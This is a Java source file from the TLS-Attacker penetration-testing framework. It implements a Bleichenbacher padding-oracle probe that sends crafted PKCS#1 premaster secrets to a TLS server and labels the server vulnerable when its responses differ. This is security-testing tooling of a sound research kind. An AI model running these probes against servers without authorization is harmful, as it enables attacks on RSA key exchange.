/**
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
*
* Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
*
* Licensed under Apache License 2.0
* http://www.apache.org/licenses/LICENSE-2.0
*/
package de.rub.nds.tlsattacker.attacks.impl;
import de.rub.nds.tlsattacker.attacks.config.BleichenbacherCommandConfig;
import de.rub.nds.tlsattacker.tls.Attacker;
import de.rub.nds.tlsattacker.attacks.pkcs1.PKCS1VectorGenerator;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ByteArrayModificationFactory;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ModifiableByteArray;
import de.rub.nds.tlsattacker.tls.config.ConfigHandler;
import de.rub.nds.tlsattacker.tls.config.WorkflowTraceSerializer;
import de.rub.nds.tlsattacker.tls.protocol.ProtocolMessage;
import de.rub.nds.tlsattacker.tls.constants.AlertDescription;
import de.rub.nds.tlsattacker.tls.constants.AlertLevel;
import de.rub.nds.tlsattacker.tls.protocol.alert.AlertMessage;
import de.rub.nds.tlsattacker.tls.constants.ProtocolMessageType;
import de.rub.nds.tlsattacker.tls.constants.HandshakeMessageType;
import de.rub.nds.tlsattacker.tls.protocol.handshake.RSAClientKeyExchangeMessage;
import de.rub.nds.tlsattacker.tls.util.CertificateFetcher;
import de.rub.nds.tlsattacker.tls.util.LogLevel;
import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowTrace;
import de.rub.nds.tlsattacker.transport.TransportHandler;
import java.io.FileOutputStream;
import java.io.IOException;
import java.security.interfaces.RSAPublicKey;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import javax.xml.bind.JAXBException;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Sends differently formatted PKCS#1 messages to the TLS server and observes
* the server responses. In case there are differences in the server responses,
* it is very likely that it is possible to execute Bleichenbacher attacks.
*
* @author Juraj Somorovsky <juraj.somorovsky@rub.de>
*/
public class BleichenbacherAttack extends Attacker<BleichenbacherCommandConfig> {
private static final Logger LOGGER = LogManager.getLogger(BleichenbacherAttack.class);
public BleichenbacherAttack(BleichenbacherCommandConfig config) {
super(config);
}
@Override
public void executeAttack(ConfigHandler configHandler) {
RSAPublicKey publicKey;
try {
publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(config);
LOGGER.info("Fetched the following server public key: " + publicKey);
} catch (Exception e) {
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "{}, No connection possible: {}", config.getConnect(),
e.getLocalizedMessage());
return;
}
List<ProtocolMessage> protocolMessages = new LinkedList<>();
byte[][] vectors = PKCS1VectorGenerator.generatePkcs1Vectors(publicKey, config.getType());
for (byte[] vector : vectors) {
ProtocolMessage pm = executeTlsFlow(configHandler, vector);
protocolMessages.add(pm);
}
LOGGER.info("The following list of protocol messages was found (the last protocol message in the client-server communication):");
for (ProtocolMessage pm : protocolMessages) {
LOGGER.info("Sent by: {}, Type: {}", pm.getMessageIssuer(), pm.getProtocolMessageType());
if (pm.getProtocolMessageType() == ProtocolMessageType.ALERT) {
AlertMessage alert = (AlertMessage) pm;
AlertDescription ad = AlertDescription.getAlertDescription(alert.getDescription().getValue());
AlertLevel al = AlertLevel.getAlertLevel(alert.getLevel().getValue());
LOGGER.info(" Alert {}: {}", al, ad);
}
}
HashSet<ProtocolMessage> protocolMessageSet = new HashSet<>(protocolMessages);
StringBuilder sb = new StringBuilder("[");
for (ProtocolMessage pm : protocolMessageSet) {
sb.append(pm.toCompactString()).append(' ');
}
sb.append(']');
if (protocolMessageSet.size() == 1) {
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "{}, NOT vulnerable, one message found: {}", config.getConnect(),
sb.toString());
vulnerable = false;
} else {
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "{}, Vulnerable (probably), found: {}", config.getConnect(),
sb.toString());
vulnerable = true;
}
}
private ProtocolMessage executeTlsFlow(ConfigHandler configHandler, byte[] encryptedPMS) {
// we are initializing a new connection in every loop step, since most
// of the known servers close the connection after an invalid handshake
TransportHandler transportHandler = configHandler.initializeTransportHandler(config);
TlsContext tlsContext = configHandler.initializeTlsContext(config);
WorkflowExecutor workflowExecutor = configHandler.initializeWorkflowExecutor(transportHandler, tlsContext);
WorkflowTrace trace = tlsContext.getWorkflowTrace();
RSAClientKeyExchangeMessage cke = (RSAClientKeyExchangeMessage) trace
.getFirstHandshakeMessage(HandshakeMessageType.CLIENT_KEY_EXCHANGE);
ModifiableByteArray epms = new ModifiableByteArray();
epms.setModification(ByteArrayModificationFactory.explicitValue(encryptedPMS));
cke.setEncryptedPremasterSecret(epms);
try {
FileOutputStream fos = new FileOutputStream("/tmp/test.xml");
WorkflowTraceSerializer.write(fos, trace);
} catch (IOException | JAXBException ex) {
ex.printStackTrace();
}
workflowExecutor.executeWorkflow();
tlsContexts.add(tlsContext);
transportHandler.closeConnection();
return trace.getProtocolMessages().get(trace.getProtocolMessages().size() - 1);
}
}